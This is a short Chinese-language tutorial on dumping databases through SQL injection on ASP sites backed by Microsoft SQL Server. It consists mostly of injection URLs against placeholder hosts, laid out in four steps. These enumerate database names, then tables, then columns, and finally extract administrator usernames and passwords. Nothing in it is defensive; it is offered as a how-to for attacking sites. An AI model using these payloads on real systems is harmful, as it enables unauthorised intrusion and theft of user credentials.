SQL INJECTION 靈活多變,注入的語句不一,下面只提供暴庫的一般
步驟,希望能對你有協助。
1:暴出所有庫名.
http://www.***.com/***.asp?id=1 and 0<>(select count(*)
from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的資料庫名
2:暴出庫中的表
假設存在一個bbs的資料庫,提交下面的語句:
http://www.***.com/jump.asp?id=1 and 0<>(select top 1 name
from bbs.dbo.sysobjects where xtype='U')
來得到一個表 假設為 admin
提交:
http://www.***.com/jump.asp?id=1 and 0<>(select top 1 name
from bbs.dbo.sysobjects where xtype='U' and name not in
('Admin'))
來得到其他的表。
3:暴出表中的欄位
提交:
http://www.***.com/***.asp?id=1 and 0<>(select count(*)
from bbs.dbo.sysobjects where xtype='U' and name='admin'
and uid>(str(id)))
得到UID的數值假設為18779569 uid=id
提交:
http://www.***.com/***.asp?id=1 and 0<>(select top 1 name
from bbs.dbo.syscolumns where id=18779569)
得到一個admin的一個欄位,假設為 user_id
4:暴出使用者名稱和密碼等
假設存在user_id username ,password 等欄位,提交:
http://www.***.com/***.asp?id=1 and 0<(select user_id from
BBS.dbo.admin where username>1)
可以得到使用者名稱
依次可以得到密碼。。。。。